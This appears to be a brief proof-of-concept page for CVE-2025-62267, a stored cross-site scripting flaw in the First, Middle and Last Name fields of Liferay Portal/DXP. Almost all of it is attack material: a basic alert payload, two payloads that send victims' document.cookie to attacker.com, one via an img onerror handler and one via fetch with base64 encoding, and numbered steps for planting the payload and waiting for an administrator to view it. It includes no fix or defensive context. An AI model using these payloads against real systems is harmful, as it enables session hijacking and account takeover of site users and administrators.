CVE-2025-62267 Liferay Portal/DXP XSS漏洞

// CVE-2025-62267 PoC - Stored XSS via User Name Fields // Payload for First Name, Middle Name, or Last Name field: // Basic XSS payload <script>alert(document.cookie)</script> // Cookie stealing payload <img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> // Session hijacking payload <script> fetch('https://attacker.com/log?cookie='+btoa(document.cookie)); </script> // Steps to exploit: // 1. Navigate to Liferay Portal user profile settings // 2. Inject XSS payload into First Name/Middle Name/Last Name field // 3. Save the profile changes // 4. Wait for admin or other user to view content template page // 5. XSS payload executes in victim's browser context